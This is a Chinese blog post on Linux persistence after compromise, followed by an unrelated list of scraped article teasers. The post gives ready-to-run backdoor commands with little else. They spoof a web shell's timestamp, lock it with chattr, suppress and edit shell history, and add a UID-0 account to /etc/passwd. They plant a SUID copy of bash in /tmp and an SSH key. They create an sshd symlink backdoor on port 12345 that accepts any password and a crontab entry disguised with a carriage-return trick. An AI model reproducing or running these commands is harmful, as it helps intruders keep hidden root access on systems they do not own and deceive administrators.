Linux权限维持

Linux权限维持

写于2023-10-12 14:32

隐藏技巧

修改文件/终端属性

touch -r index.php shell.php  #将shell.php文件的时间戳修改为inedx.php的时间戳

文件锁定

通过chattr命令来防止文件被删除或者被修改,这个权限通过ls -l无法查看出来

chattr +i shell.php   #锁定文件,让shell.php无法进行删除或者修改
chattr -i shell.php #解除锁定

lsattr shell.php #查看shell.php的属性

经过测试,chattr命令只有在root权限下才能正常执行

历史命令操作

临时关闭历史记录

[space]set +o history   #[space]表示空格

执行了这个命令之后,包括此命令以及往后的所有操作,都不会被记录下来

[speace]set -o history #开启历史记录的操作

删除指定的历史记录

history -d 5 #删除行号为5的历史记录

保留一定范围内的历史记录

sed -i '150,$d' .bash_history #只保留前150行

添加用户

passwd写入

对于老版本的linux来讲,密码会存放在p/etc/passwd文件里面,对于新版本的linux系统密码会存放在/etc/shadow文件里面

老版本方法:

echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd   #老版本linux添加一个超级用户

新版本方法:

echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级⽤户账号
passwd cshm #修改cshm的密码echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

直接useradd也可以

suid

这个主要是用于提权的后门

关于什么是suid权限不再多述,在linux提权的内容已经讲过。

在这里面我们主要是在root权限下创建一个/bin/bash程序,然后赋予suid权限

cp /bin/bash /tmp/.tmp
chmod +s /tmp/.tmp

使用一般用户运行

/tmp/.tmp -p   #由于base2有一些保护机制,需要使用-p参数来获取一个root权限的shell

查看系统具有suid权限的程序

find / -perm -u=s -type f 2>/dev/null

公私钥

公私钥就是攻击者在自己电脑上面生成了一个ssh公私钥对,然后将公钥导入到靶机上面,进而可以通过私钥链接到靶机

ssh-keygen -t rsa //⽣成公钥
cat id_rsa.pub >> .ssh/authorized_keys //将id_rsa.pub内容放到⽬标.ssh/authorized_keys⾥

实现成功的条件

主机存在ssh服务

ssh允许使用密钥登入,可以修改/etc/ssh/sshd_config文件,如下配置

RSAAuthentication yes
PubkeyAuthentication yes

关于ssh服务公私钥的更多详细内容:http://t.csdnimg.cn/uFsTy

使用ssh命令进行登入linux系统

ssh root@192.168.0.12 #用户名为root
ssh -i id_rsa root@192.168.0.12  #-i 命令指定私钥文件

软链接

软连接介绍:https://www.cnblogs.com/sueyyyy/p/10985443.html

添加ssh后门

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345   

软链接到/usr/local/su文件,也可以到其他目录,但是su的文件名不能改变,并且指定到12345端口,登入的时候密码任意

ssh root@192.168.245.139 -p 12345

如果创建软链接的时候,使用了其他账号创建,那么登入的时候就使用该账号登入

此条件需要注意的一些事情

ssh配置需要允许root密码登入:sshd_config文件PermitRootLogin yes以及PasswordAuthentication yes
设置好之后,使用service ssh restart 重启ssh服务

另外这个方法登入仍然能被记录到登入日志中去,通过last命令查看ssh登入日志,

任意密码登入的原因

这个我也没搞太明白,大概需要详细了解pam认证机制,这里有一个详细的介绍:https://www.cnblogs.com/websec80/articles/14424309.html

Cronta

前置知识

关于计划任务是什么不再赘述

常用命令

crontab -e #编辑计划任务
crontab -l #查看当前用户的计划任务

计划任务里面的配置文件有很多,可以通过ls /etc | grep cron命令查看,但是我们直接通过crontab -e编辑的计划任务并不在这些文件里面,而是在/var/spool/cron/crontabs里面

利用过程

往crontab配置里面添加一个计划任务

(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -

对于这个方法可以通过crontab -l来查看,但是通过下面这个方法可以达到隐藏的效果

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

通过上面的这个方法输入crontab -l就会出现如下输出

在这里插入图片描述

但是通过crontab -e仍然能够查看到,但是通过cat命令查看是看不到的

在这里插入图片描述

openssh后门

这个就是用一个带有后门的openssh替换掉原本的openssh,带有后门的openssh会记录登入的用户名和密码,实际上不如上面的软连接任意密码登入方式。不多赘述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/203362.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【攻防世界-misc】删库跑路-

1.下载文件解压,将该文件复制到kali上,用文件分离命令查看该文件是否有隐含文件, 2.解压出来的文件有四个,分别查看。 3.在第三个压缩包这里,有一个flag.txt,里面就包含了flag值。

VERAS:AI驱动的Revit可视化渲染插件

Veras 是一款基于生成式AI 的可视化工具,可以使用自然语言生成3D渲染效果,兼容Revit、Rhino 和 SketchUp。Veras for Revit工具使用 Revit 模型内部的 3D 视图。 NSDT工具推荐: Three.js AI纹理开发包 - YOLO合成数据生成器 - GLTF/GLB在线编…

牛客算法心得——abb(dp)

大家好,我是晴天学长,传智杯的题,我准备写一个题解,需要的小伙伴可以关注支持一下哦!后续会继续更新的。💪💪💪 1) .abb leafee 最近爱上了 abb 型语句,比如“叠词词”、…

新生儿喂养的完全指南:注意事项与父母指导

引言: 新生儿的喂养是父母最重要的任务之一。正确的喂养对于宝宝的生长发育至关重要。本文将深入探讨新生儿喂养的注意事项,为父母提供全面的指南,以确保宝宝得到适当的营养和关爱。 第一部分:新生儿喂养的基本知识 母乳 vs. 奶…

vue3+ts v-model 深度学习

<template><div><h1>我是App.vue组件</h1><div>isShpw:{{ isShow }}</div><div>text:{{ text }}</div><div><button click"isShow !isShow">开关</button></div><hr /><vModeVal…

增加3~4个独立数字脉冲发生器通道!数字化仪和AWG新增DPG功能

数字脉冲升级功能 德思特Spectrum系列全部在售数字化仪和AWG产品&#xff08;包括TS-M2p&#xff0c;TS-M4i&#xff0c;TS-DN2&#xff0c;TS-DN6型号产品&#xff09;&#xff0c;发布了新增的数字脉冲&#xff08;DPG&#xff09;升级功能&#xff0c;于11月15日正式推出。…

中国信通院发布《中国算力发展指数白皮书》(2023)

加gzh“大数据食铁兽”&#xff0c;回复“20231129”&#xff0c;获取材料完整版 导读 2023 年白皮书在 2022 年的基础上&#xff0c;加强了全球和我国算力发展的研究&#xff0c;客观评估我国整体、各省份及各城市现阶段的算力发展水平进一步给出我国算力二十强市榜单&…

【精选】ATKCK红队评估实战靶场一 超详细过程思路

一、环境搭建 1.红日靶场下载&#xff1a; 靶场下载地址&#xff1a; https://pan.baidu.com/s/1nC6V8e_EuKfaLb2IuEbe7w&shflsharepset 提取码&#xff1a;n1u22.内外网IP搭建 Windows 7 x64Windows Server 2008Win2K3 Metasploitablekali内网IP&#xff1a;192.168.52…

搜维尔科技:Varjo XR-4 系列-专为极致沉浸感而打造!

Varjo 的新一代头显将世界上最先进的混合现实技术与顶尖的图形处理能力连接起来&#xff0c;满足最高级别的视觉保真度和沉浸感至关重要的工业用例。 光学设计的根本性突破 体验全新的沉浸感。大幅扩展的视野&#xff0c;跨越 120 x 105 度&#xff0c;打破了受人尊敬的“全双眼…

mybatis数据输入-零散的简单类型数据

1、建库建表 CREATE DATABASE mybatis-example;USE mybatis-example;CREATE TABLE t_emp(emp_id INT AUTO_INCREMENT,emp_name CHAR(100),emp_salary DOUBLE(10,5),PRIMARY KEY(emp_id) );INSERT INTO t_emp(emp_name,emp_salary) VALUES("tom",200.33); INSERT INTO…

电子学会 2023年9月 青少年软件编程Python编程等级考试二级真题解析(选择题+判断题+编程题)

青少年编程Python编程等级考试二级真题解析(选择题+判断题+编程题) 2023年9月 一、选择题(共25题,共50分) 以下代码运行结果是?( ) A. 宸宸 B. 杭杭 C. 玉玉 D. 州州 答案选:A 考点分析:考察python 列表操作 jxw=yyh[2][0],jxw的值是“拱宸桥”,jxw[1]的值是“宸”…

a-table:表格组件常用功能记录——基础积累2

antdvue是我目前项目的主流&#xff0c;在工作过程中&#xff0c;经常用到table组件。下面就记录一下工作中经常用到的部分知识点。 a-table&#xff1a;表格组件常用功能记录——基础积累2 效果图1.table 点击行触发点击事件1.1 实现单选 点击事件1.2 实现多选 点击事件1.3 实…

后端Long型数据传到前端js后精度丢失的问题

假设一个场景&#xff0c;MybatisPlus的雪花算法生成long类型主键ID&#xff0c;存入数据库&#xff0c;前端获取到数据后&#xff0c;要执行一个更新操作&#xff08;updateById&#xff09;&#xff0c;但这时会出现无法成功更新的情况&#xff01;这是因为前端在长度大于17位…

PyBullet安装与学习

PyBullet 支持加载 URDF、SDF、MJCF 等多种机器人描述文件&#xff0c;并提供正/逆向运动学、正/逆向动力学、碰撞检测、射线相交查询等功能。 pip install pybullet 安装后会在 Python 环境的 lib/site-packages 中出现以下文件夹&#xff1a; pybullet_data&#xff1a;存放…

HarmonyOS4.0开发应用(二)【快速学习】

快速学习 创建项目 1.开始创建 2.选择模板 刚开始选择空白的模板即可 3.填写项目信息 这样一个基本项目就创建好了 代码结构 实现Demo(文字动态切换) Entry Component struct Index {State message: string Hello Worldbuild() {Row() {Column() {Text(this.message).fo…

使用Java将properties转为yaml,保证顺序、实测无BUG版本

使用Java将properties转为yaml 一 前言1.1 顺序错乱的原因1.2 遗漏子节点的原因 二、优化措施三、源码 一 前言 浏览了一圈网上的版本&#xff0c;大多存在以下问题&#xff1a; 转换后顺序错乱遗漏子节点 基于此进行了优化&#xff0c;如果只是想直接转换&#xff0c;可直接…

pandas(八)--实战一下

背景 收到一批数据&#xff0c;数据形式。采集数据的间隔时间是10分钟&#xff0c;全天采集数据&#xff0c;每天的数据量是144条 处理后的数据形式 分析 去除表格中的q的异常值&#xff0c;置为0去除重复行将原始表格中的date分裂成日期和时间缺失的时间点数据补0&#x…

Target、沃尔玛撸卡、采退支付下单如何避免账号关联风险?

近年来&#xff0c;随着跨境电商平台的日益繁荣&#xff0c;越来越多的国内卖家涌入其中&#xff0c;导致竞争异常激烈。为了在竞争中脱颖而出&#xff0c;一些卖家采用自动脚本程序进行浏览和下单&#xff0c;然而这种行为很容易导致账号被批量关联、封号。本文将探讨养号下单…

JOSEF 时间继电器 DS-37 AC220V 10秒 柜内安装,板前接线

系列型号 DS-31时间继电器&#xff1b;DS-31/X时间继电器&#xff1b; DS-31/2X时间继电器&#xff1b;DS-32时间继电器&#xff1b; DS-32/X时间继电器;DS-32/2X时间继电器; DS-33时间继电器;DS-33/X时间继电器; DS-33/2X时间继电器;DS-34时间继电器; DS-31C/X时间继电器…

聊一聊大模型 | 京东云技术团队

事情还得从ChatGPT说起。 2022年12月OpenAI发布了自然语言生成模型ChatGPT&#xff0c;一个可以基于用户输入文本自动生成回答的人工智能体。它有着赶超人类的自然对话程度以及逆天的学识。一时间引爆了整个人工智能界&#xff0c;各大巨头也纷纷跟进发布了自家的大模型&#…